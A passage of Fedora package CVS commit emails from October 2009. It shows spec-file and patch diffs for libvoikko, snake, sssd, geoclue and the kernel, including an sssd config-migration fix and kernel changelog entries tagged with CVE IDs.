===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/F-12/libvoikko.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- libvoikko.spec	25 Oct 2009 12:36:53 -0000	1.30
+++ libvoikko.spec	26 Oct 2009 13:06:18 -0000	1.31
@@ -52,6 +52,8 @@ scripts.
 Summary:        Python interface to %{name}
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
+# Note: noarch subpackage, only works in Fedora >= 11
+BuildArch:      noarch
 
 %description -n python-libvoikko
 Python interface to libvoikko, library of Finnish language tools.
@@ -119,8 +121,8 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}.py*
 
 %changelog
-* Sun Oct 25 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
-- Add Python interface (package python-libvoikko)
+* Mon Oct 26 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
+- Add Python interface (package python-libvoikko, noarch)
 
 * Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
 - New upstream release, fixes bugs found in 2.2



From vpv at fedoraproject.org  Mon Oct 26 13:06:47 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Mon, 26 Oct 2009 13:06:47 +0000 (UTC)
Subject: rpms/libvoikko/devel libvoikko.spec,1.30,1.31
Message-ID: <20091026130647.D0FCB11C0268@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/libvoikko/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32235

Modified Files:
	libvoikko.spec 
Log Message:
* Mon Oct 26 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
- Add Python interface (package python-libvoikko, noarch)



Index: libvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/devel/libvoikko.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- libvoikko.spec	25 Oct 2009 12:36:40 -0000	1.30
+++ libvoikko.spec	26 Oct 2009 13:06:47 -0000	1.31
@@ -52,6 +52,8 @@ scripts.
 Summary:        Python interface to %{name}
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
+# Note: noarch subpackage, only works in Fedora >= 11
+BuildArch:      noarch
 
 %description -n python-libvoikko
 Python interface to libvoikko, library of Finnish language tools.
@@ -119,8 +121,8 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}.py*
 
 %changelog
-* Sun Oct 25 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
-- Add Python interface (package python-libvoikko)
+* Mon Oct 26 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
+- Add Python interface (package python-libvoikko, noarch)
 
 * Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
 - New upstream release, fixes bugs found in 2.2



From jlaska at fedoraproject.org  Mon Oct 26 13:08:27 2009
From: jlaska at fedoraproject.org (James Laska)
Date: Mon, 26 Oct 2009 13:08:27 +0000 (UTC)
Subject: rpms/snake/devel .cvsignore, 1.15, 1.16 import.log, 1.9,
	1.10 snake.spec, 1.25, 1.26 sources, 1.25, 1.26
Message-ID: <20091026130827.6414911C0268@cvs1.fedora.phx.redhat.com>

Author: jlaska

Update of /cvs/pkgs/rpms/snake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv603/devel

Modified Files:
	.cvsignore import.log snake.spec sources 
Log Message:
Update to snake-0.11-0.19



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	24 Oct 2009 00:09:51 -0000	1.15
+++ .cvsignore	26 Oct 2009 13:08:26 -0000	1.16
@@ -1 +1 @@
-snake-0.11-0.18.tar.bz2
+snake-0.11-0.19.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/import.log,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- import.log	19 Jun 2009 16:58:42 -0000	1.9
+++ import.log	26 Oct 2009 13:08:26 -0000	1.10
@@ -7,3 +7,4 @@ snake-0_11-0_13_fc11:HEAD:snake-0.11-0.1
 snake-0_11-0_14_fc11:HEAD:snake-0.11-0.14.fc11.src.rpm:1236029965
 snake-0_11-0_15_fc11:HEAD:snake-0.11-0.15.fc11.src.rpm:1245251537
 snake-0_11-0_16_fc11:HEAD:snake-0.11-0.16.fc11.src.rpm:1245430566
+snake-0_11-0_19_fc12:HEAD:snake-0.11-0.19.fc12.src.rpm:1256562472


Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/snake.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- snake.spec	23 Oct 2009 23:47:58 -0000	1.25
+++ snake.spec	26 Oct 2009 13:08:26 -0000	1.26
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.18
+%define rel     0.19
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,9 @@ fi
 
 
 %changelog
+* Fri Oct 26 2009 James Laska <jlaska at redhat.com> 0.11-0.19
+- Correct install.py typo, use subprocess.call to gather arguments (wwoods)
+
 * Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
 - Fix FTBFS: bump release to be able to tag in new branch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	24 Oct 2009 00:09:51 -0000	1.25
+++ sources	26 Oct 2009 13:08:26 -0000	1.26
@@ -1 +1 @@
-827f25c02077ff877bf89584c297be9d  snake-0.11-0.18.tar.bz2
+058703ba20b5929092a674161dcb7a54  snake-0.11-0.19.tar.bz2



From sgallagh at fedoraproject.org  Mon Oct 26 13:08:58 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Mon, 26 Oct 2009 13:08:58 +0000 (UTC)
Subject: rpms/sssd/devel old_upgrades.patch,NONE,1.1 sssd.spec,1.25,1.26
Message-ID: <20091026130858.6EB0E11C0268@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv641

Modified Files:
	sssd.spec 
Added Files:
	old_upgrades.patch 
Log Message:
Fix upgrade issues from old (pre-0.5.0) releases of SSSD

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.



old_upgrades.patch:
 upgrade_config.py |   14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE old_upgrades.patch ---
>From ff5fd17a20037377889b60a73b2b1f470c67c674 Mon Sep 17 00:00:00 2001
From: Jakub Hrozek <jhrozek at redhat.com>
Date: Mon, 26 Oct 2009 12:54:38 +0100
Subject: [PATCH] Fix migration script for pre-0.5 local domains

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.
---
 server/upgrade/upgrade_config.py |   13 +++++++++++--
 1 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/server/upgrade/upgrade_config.py b/server/upgrade/upgrade_config.py
index 87e3990..fe20811 100644
--- a/server/upgrade/upgrade_config.py
+++ b/server/upgrade/upgrade_config.py
@@ -25,6 +25,7 @@ import sys
 import shutil
 import traceback
 from ConfigParser import RawConfigParser
+from ConfigParser import NoOptionError
 from optparse import OptionParser
 
 class SSSDConfigParser(RawConfigParser):
@@ -211,11 +212,19 @@ class SSSDConfigFile(object):
         self._migrate_kw(new_domsec, old_domsec, ldap_kw)
         self._migrate_kw(new_domsec, old_domsec, krb5_kw)
 
+        # configuration files before 0.5.0 did not enforce provider= in local domains
+        # it did special-case by domain name (LOCAL)
+        try:
+            prv = self._new_config.get(new_domsec, 'id_provider')
+        except NoOptionError:
+            if old_domsec == 'domains/LOCAL':
+                prv = 'local'
+                self._new_config.set(new_domsec, 'id_provider', prv)
+
         # if domain was local, update with parameters from [user_defaults]
-        if self._new_config.get(new_domsec, 'id_provider') == 'local':
+        if prv == 'local':
             self._migrate_kw(new_domsec, 'user_defaults', user_defaults_kw)
 
-
     def _migrate_domains(self):
         for domain in [ s.replace('domains/','') for s in self._config.sections() if s.startswith("domains/") ]:
             domain = domain.strip()
-- 
1.6.2.5



Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sssd.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sssd.spec	23 Oct 2009 19:52:18 -0000	1.25
+++ sssd.spec	26 Oct 2009 13:08:58 -0000	1.26
@@ -3,7 +3,7 @@
 
 Name: sssd
 Version: 0.7.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
@@ -15,6 +15,8 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 ### Patches ###
 
+Patch1: 0001-Fix-migration-script-for-pre-0.5-local-domains.patch
+
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
@@ -73,6 +75,8 @@ service.
 %prep
 %setup -q
 
+%patch1 -p1 -b .upgrade_fixes
+
 %build
 %configure \
     --without-tests \
@@ -190,6 +194,9 @@ fi
 %postun client -p /sbin/ldconfig
 
 %changelog
+* Mon Oct 26 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-2
+- Fix upgrade issues from old (pre-0.5.0) releases of SSSD
+
 * Fri Oct 23 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-1
 - New upstream release 0.7.0
 



From pbrobinson at fedoraproject.org  Mon Oct 26 13:09:52 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 13:09:52 +0000 (UTC)
Subject: rpms/geoclue/devel geoclue-fixgpsd.patch, NONE,
	1.1 geoclue-nm08.patch, 
	NONE, 1.1 .cvsignore, 1.3, 1.4 geoclue.spec, 1.18, 1.19 sources,
	1.3, 1.4
Message-ID: <20091026130952.B5F7211C0268@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/geoclue/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1388

Modified Files:
	.cvsignore geoclue.spec sources 
Added Files:
	geoclue-fixgpsd.patch geoclue-nm08.patch 
Log Message:
- New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin

geoclue-fixgpsd.patch:
 configure.ac |   21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

--- NEW FILE geoclue-fixgpsd.patch ---
--- geoclue-0.11.1.1/configure.ac.orig	2009-10-26 11:18:16.000000000 +0000
+++ geoclue-0.11.1.1/configure.ac	2009-10-26 11:19:02.000000000 +0000
@@ -203,21 +203,12 @@
 AC_SUBST(GYPSY_LIBS)
 AC_SUBST(GYPSY_CFLAGS)
 
-AC_ARG_ENABLE(gpsd,
-              AS_HELP_STRING([--enable-gpsd=@<:@no/yes/auto@:>@],
-                             [build with gpsd support]), ,
-                             enable_gpsd=auto)
-
-if test "x$enable_gpsd" != "xno"; then
-   AC_CHECK_LIB(gps, gps_open,[libgps=yes] )
-   if test "x$have_gpsd" = "xyes"; then
-      PROVIDER_SUBDIRS="$PROVIDER_SUBDIRS gpsd"
-      GPSD_LIBS="-lgps"
-   else
-      NO_BUILD_PROVIDERS="$NO_BUILD_PROVIDERS gpsd"
-   fi
- else
-   have_gpsd=no
+AC_CHECK_LIB(gps, gps_open,[libgps=yes] )
+if test "x$libgps" = xyes; then
+ PROVIDER_SUBDIRS="$PROVIDER_SUBDIRS gpsd"
+ GPSD_LIBS="-lgps"
+else
+ NO_BUILD_PROVIDERS="$NO_BUILD_PROVIDERS gpsd"
 fi
 
 if test "x$enable_gpsd" = "xyes" -a "x$have_gpsd" != "xyes"; then

geoclue-nm08.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE geoclue-nm08.patch ---
--- geoclue-0.11.1.1/configure.ac.orig	2009-10-26 10:49:36.000000000 +0000
+++ geoclue-0.11.1.1/configure.ac	2009-10-26 10:50:03.000000000 +0000
@@ -123,7 +123,7 @@
 if test "x$enable_networkmanager" != "xno"; then
    PKG_CHECK_MODULES(NETWORK_MANAGER,
    [
-      NetworkManager libnm_glib
+      NetworkManager libnm-glib
    ], have_networkmanager="yes", have_networkmanager="no")
 
    if test "x$have_networkmanager" = "xyes"; then


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Mar 2009 17:16:44 -0000	1.3
+++ .cvsignore	26 Oct 2009 13:09:52 -0000	1.4
@@ -1 +1 @@
-geoclue-0.11.1.1-20090310.tar.gz
+geoclue-0.11.1.1-20091026.tar.gz


Index: geoclue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/devel/geoclue.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- geoclue.spec	24 Jul 2009 23:52:20 -0000	1.18
+++ geoclue.spec	26 Oct 2009 13:09:52 -0000	1.19
@@ -1,15 +1,15 @@
 # Tarfile created using git
 # git clone git://anongit.freedesktop.org/geoclue
-# git-archive --format=tar --prefix=geoclue-0.1.11.1/ %{git_version} | gzip > ~/geoclue-0.1.11.1-20090310.tar.gz
+# git archive --format=tar --prefix=geoclue-0.11.1.1/ %{git_version} | gzip > ~/geoclue-%{version}-%{gitdate}.tar.gz
 
-%define gitdate 20090310
-%define git_version 3a31d26
+%define gitdate 20091026
+%define git_version 73b6729
 %define tarfile %{name}-%{version}-%{gitdate}.tar.gz
 %define snapshot %{gitdate}git%{git_version}
 
 Name:           geoclue
 Version:        0.11.1.1
-Release:        0.8.%{snapshot}%{?dist}
+Release:        0.9.%{snapshot}%{?dist}
 Summary:        A modular geoinformation service
 
 Group:          System Environment/Libraries
@@ -17,18 +17,24 @@ License:        LGPLv2
 URL:            http://geoclue.freedesktop.org/
 #Source0:        http://folks.o-hand.com/jku/geoclue-releases/%{name}-%{version}.tar.gz
 Source0:        %{tarfile}
+Patch0:         geoclue-nm08.patch
+Patch1:         geoclue-fixgpsd.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: dbus-devel
 BuildRequires: dbus-glib-devel
+BuildRequires: gammu-devel
 BuildRequires: glib2-devel
 BuildRequires: libxml2-devel
+BuildRequires: libsoup-devel
 BuildRequires: GConf2-devel
 BuildRequires: gtk2-devel
 BuildRequires: NetworkManager-devel
+BuildRequires: NetworkManager-glib-devel
 BuildRequires: gypsy-devel
 BuildRequires: gpsd-devel
 BuildRequires: gtk-doc
+
 # Require these until we move back to a formal release
 BuildRequires: libtool
 BuildRequires: automake
@@ -65,7 +71,6 @@ Developer documentation for geoclue
 %package gui
 Summary: Testing gui for geoclue
 Group: Development/Libraries
-Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
 %description gui
@@ -73,28 +78,36 @@ Testing gui for geoclue
 
 %package gpsd
 Summary: gpsd provider for geoclue
-Group: Development/Libraries
+Group: System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: gpsd
 
 %description gpsd
 A gpsd provider for geoclue
 
 %package gypsy
 Summary: gypsy provider for geoclue
-Group: Development/Libraries
+Group: System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: gypsy
 
 %description gypsy
 A gypsy provider for geoclue
 
+%package gsmloc
+Summary: gsmloc provider for geoclue
+Group: System Environment/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description gsmloc
+A gsmloc provider for geoclue
+
 %prep
 %setup -q
+%patch0 -p1 -b .nm08
+%patch1 -p1 -b .fixgpsd
 
 %build
 ./autogen.sh
-%configure --disable-static --enable-gtk-doc
+%configure --disable-static --enable-gtk-doc --enable-networkmanager=yes --enable-gypsy=yes --enable-skyhook=yes --enable-gsmloc=yes
 make %{?_smp_mflags}
 
 %install
@@ -125,6 +138,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Localnet.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Manual.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Plazes.service
+%{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Skyhook.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Yahoo.service
 %{_datadir}/geoclue-providers/geoclue-example.provider
 %{_datadir}/geoclue-providers/geoclue-geonames.provider
@@ -132,6 +146,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/geoclue-providers/geoclue-localnet.provider
 %{_datadir}/geoclue-providers/geoclue-manual.provider
 %{_datadir}/geoclue-providers/geoclue-plazes.provider
+%{_datadir}/geoclue-providers/geoclue-skyhook.provider
 %{_datadir}/geoclue-providers/geoclue-yahoo.provider
 %{_libexecdir}/geoclue-example
 %{_libexecdir}/geoclue-geonames
@@ -140,6 +155,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/geoclue-manual
 %{_libexecdir}/geoclue-master
 %{_libexecdir}/geoclue-plazes
+%{_libexecdir}/geoclue-skyhook
 %{_libexecdir}/geoclue-yahoo
 
 %files devel
@@ -168,14 +184,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/geoclue-providers/geoclue-gypsy.provider
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gypsy.service
 
+%files gsmloc
+%defattr(-,root,root,-)
+%{_libexecdir}/geoclue-gsmloc
+%{_datadir}/geoclue-providers/geoclue-gsmloc.provider
+%{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gsmloc.service
+
 %changelog
+* Mon Oct 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.9
+- New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11.1.1-0.8.20090310git3a31d26
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Thu Jul 23 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.7.%{gitdate}git%{git_version}
+* Thu Jul 23 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.7
 - Move develop documentation to its own noarch package to fix RHBZ 513488
 
-* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.6.%{gitdate}git%{git_version}
+* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.6
 - Add developer documentation
 
 * Fri Jun 19 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.4


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Mar 2009 17:16:45 -0000	1.3
+++ sources	26 Oct 2009 13:09:52 -0000	1.4
@@ -1 +1 @@
-e7c5cede9f8e18e9bbd1fb3af78a594b  geoclue-0.11.1.1-20090310.tar.gz
+6323f039a2ce88bcc71b5cd5f31e4456  geoclue-0.11.1.1-20091026.tar.gz



From cebbert at fedoraproject.org  Mon Oct 26 13:10:04 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 26 Oct 2009 13:10:04 +0000 (UTC)
Subject: rpms/kernel/F-10 kernel.spec,1.1206.2.111,1.1206.2.112
Message-ID: <20091026131004.854D611C02C6@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1524

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Log Message:
add CVE IDs to log


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.111
retrieving revision 1.1206.2.112
diff -u -p -r1.1206.2.111 -r1.1206.2.112
--- kernel.spec	23 Oct 2009 13:53:15 -0000	1.1206.2.111
+++ kernel.spec	26 Oct 2009 13:10:04 -0000	1.1206.2.112
@@ -2052,17 +2052,17 @@ fi
 - Linux 2.6.27.38
 
 * Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.38-170.2.110.rc1
-- Fix overflow in KVM cpuid code.
+- Fix overflow in KVM cpuid code. (CVE-2009-3638)
 
 * Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
 - af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
-  rhbz#529626.
+  rhbz#529626. (CVE-2009-3621)
 
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.38-170.2.108.rc1
 - Linux 2.6.27.38-rc1
 
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.107
-- Fix null deref in r128 (#487546)
+- Fix null deref in r128 (#487546) (CVE-2009-3620)
 
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.105
 - Fix uninitialized data leak in netlink (CVE-2009-3612)



From sgallagh at fedoraproject.org  Mon Oct 26 13:17:02 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Mon, 26 Oct 2009 13:17:02 +0000 (UTC)
Subject: rpms/sssd/devel
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch, NONE,
	1.1 old_upgrades.patch, 1.1, NONE
Message-ID: <20091026131702.5571611C0268@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2878

Added Files:
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch 
Removed Files:
	old_upgrades.patch 
Log Message:
Accidentally committed the wrong patch.

Removed the incorrect patch and added the correct one.


0001-Fix-migration-script-for-pre-0.5-local-domains.patch:
 upgrade_config.py |   14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE 0001-Fix-migration-script-for-pre-0.5-local-domains.patch ---
>From ff5fd17a20037377889b60a73b2b1f470c67c674 Mon Sep 17 00:00:00 2001
From: Jakub Hrozek <jhrozek at redhat.com>
Date: Mon, 26 Oct 2009 12:54:38 +0100
Subject: [PATCH] Fix migration script for pre-0.5 local domains

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.
---
 server/upgrade/upgrade_config.py |   13 +++++++++++--
 1 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/server/upgrade/upgrade_config.py b/server/upgrade/upgrade_config.py
index 87e3990..fe20811 100644
--- a/server/upgrade/upgrade_config.py
+++ b/server/upgrade/upgrade_config.py
@@ -25,6 +25,7 @@ import sys
 import shutil
 import traceback
 from ConfigParser import RawConfigParser
+from ConfigParser import NoOptionError
 from optparse import OptionParser
 
 class SSSDConfigParser(RawConfigParser):
@@ -211,11 +212,19 @@ class SSSDConfigFile(object):
         self._migrate_kw(new_domsec, old_domsec, ldap_kw)
         self._migrate_kw(new_domsec, old_domsec, krb5_kw)
 
+        # configuration files before 0.5.0 did not enforce provider= in local domains
+        # it did special-case by domain name (LOCAL)
+        try:
+            prv = self._new_config.get(new_domsec, 'id_provider')
+        except NoOptionError:
+            if old_domsec == 'domains/LOCAL':
+                prv = 'local'
+                self._new_config.set(new_domsec, 'id_provider', prv)
+
         # if domain was local, update with parameters from [user_defaults]
-        if self._new_config.get(new_domsec, 'id_provider') == 'local':
+        if prv == 'local':
             self._migrate_kw(new_domsec, 'user_defaults', user_defaults_kw)
 
-
     def _migrate_domains(self):
         for domain in [ s.replace('domains/','') for s in self._config.sections() if s.startswith("domains/") ]:
             domain = domain.strip()
-- 
1.6.2.5



--- old_upgrades.patch DELETED ---



From pbrobinson at fedoraproject.org  Mon Oct 26 13:22:27 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 13:22:27 +0000 (UTC)
Subject: rpms/geoclue/F-12 geoclue-fixgpsd.patch, NONE,
	1.1 geoclue-nm08.patch, 
	NONE, 1.1 .cvsignore, 1.3, 1.4 geoclue.spec, 1.18, 1.19 sources,
	1.3, 1.4
Message-ID: <20091026132227.057E511C0268@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/geoclue/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4532

Modified Files:
	.cvsignore geoclue.spec sources 
Added Files:
	geoclue-fixgpsd.patch geoclue-nm08.patch 
Log Message:
- New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin

geoclue-fixgpsd.patch:
 configure.ac |   21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

--- NEW FILE geoclue-fixgpsd.patch ---
--- geoclue-0.11.1.1/configure.ac.orig	2009-10-26 11:18:16.000000000 +0000
+++ geoclue-0.11.1.1/configure.ac	2009-10-26 11:19:02.000000000 +0000
@@ -203,21 +203,12 @@
 AC_SUBST(GYPSY_LIBS)
 AC_SUBST(GYPSY_CFLAGS)
 
-AC_ARG_ENABLE(gpsd,
-              AS_HELP_STRING([--enable-gpsd=@<:@no/yes/auto@:>@],
-                             [build with gpsd support]), ,
-                             enable_gpsd=auto)
-
-if test "x$enable_gpsd" != "xno"; then
-   AC_CHECK_LIB(gps, gps_open,[libgps=yes] )
-   if test "x$have_gpsd" = "xyes"; then
-      PROVIDER_SUBDIRS="$PROVIDER_SUBDIRS gpsd"
-      GPSD_LIBS="-lgps"
-   else
-      NO_BUILD_PROVIDERS="$NO_BUILD_PROVIDERS gpsd"
-   fi
- else
-   have_gpsd=no
+AC_CHECK_LIB(gps, gps_open,[libgps=yes] )
+if test "x$libgps" = xyes; then
+ PROVIDER_SUBDIRS="$PROVIDER_SUBDIRS gpsd"
+ GPSD_LIBS="-lgps"
+else
+ NO_BUILD_PROVIDERS="$NO_BUILD_PROVIDERS gpsd"
 fi
 
 if test "x$enable_gpsd" = "xyes" -a "x$have_gpsd" != "xyes"; then

geoclue-nm08.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE geoclue-nm08.patch ---
--- geoclue-0.11.1.1/configure.ac.orig	2009-10-26 10:49:36.000000000 +0000
+++ geoclue-0.11.1.1/configure.ac	2009-10-26 10:50:03.000000000 +0000
@@ -123,7 +123,7 @@
 if test "x$enable_networkmanager" != "xno"; then
    PKG_CHECK_MODULES(NETWORK_MANAGER,
    [
-      NetworkManager libnm_glib
+      NetworkManager libnm-glib
    ], have_networkmanager="yes", have_networkmanager="no")
 
    if test "x$have_networkmanager" = "xyes"; then


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Mar 2009 17:16:44 -0000	1.3
+++ .cvsignore	26 Oct 2009 13:22:26 -0000	1.4
@@ -1 +1 @@
-geoclue-0.11.1.1-20090310.tar.gz
+geoclue-0.11.1.1-20091026.tar.gz


Index: geoclue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-12/geoclue.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- geoclue.spec	24 Jul 2009 23:52:20 -0000	1.18
+++ geoclue.spec	26 Oct 2009 13:22:26 -0000	1.19
@@ -1,15 +1,15 @@
 # Tarfile created using git
 # git clone git://anongit.freedesktop.org/geoclue
-# git-archive --format=tar --prefix=geoclue-0.1.11.1/ %{git_version} | gzip > ~/geoclue-0.1.11.1-20090310.tar.gz
+# git archive --format=tar --prefix=geoclue-0.11.1.1/ %{git_version} | gzip > ~/geoclue-%{version}-%{gitdate}.tar.gz
 
-%define gitdate 20090310
-%define git_version 3a31d26
+%define gitdate 20091026
+%define git_version 73b6729
 %define tarfile %{name}-%{version}-%{gitdate}.tar.gz
 %define snapshot %{gitdate}git%{git_version}
 
 Name:           geoclue
 Version:        0.11.1.1
-Release:        0.8.%{snapshot}%{?dist}
+Release:        0.9.%{snapshot}%{?dist}
 Summary:        A modular geoinformation service
 
 Group:          System Environment/Libraries
@@ -17,18 +17,24 @@ License:        LGPLv2
 URL:            http://geoclue.freedesktop.org/
 #Source0:        http://folks.o-hand.com/jku/geoclue-releases/%{name}-%{version}.tar.gz
 Source0:        %{tarfile}
+Patch0:         geoclue-nm08.patch
+Patch1:         geoclue-fixgpsd.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: dbus-devel
 BuildRequires: dbus-glib-devel
+BuildRequires: gammu-devel
 BuildRequires: glib2-devel
 BuildRequires: libxml2-devel
+BuildRequires: libsoup-devel
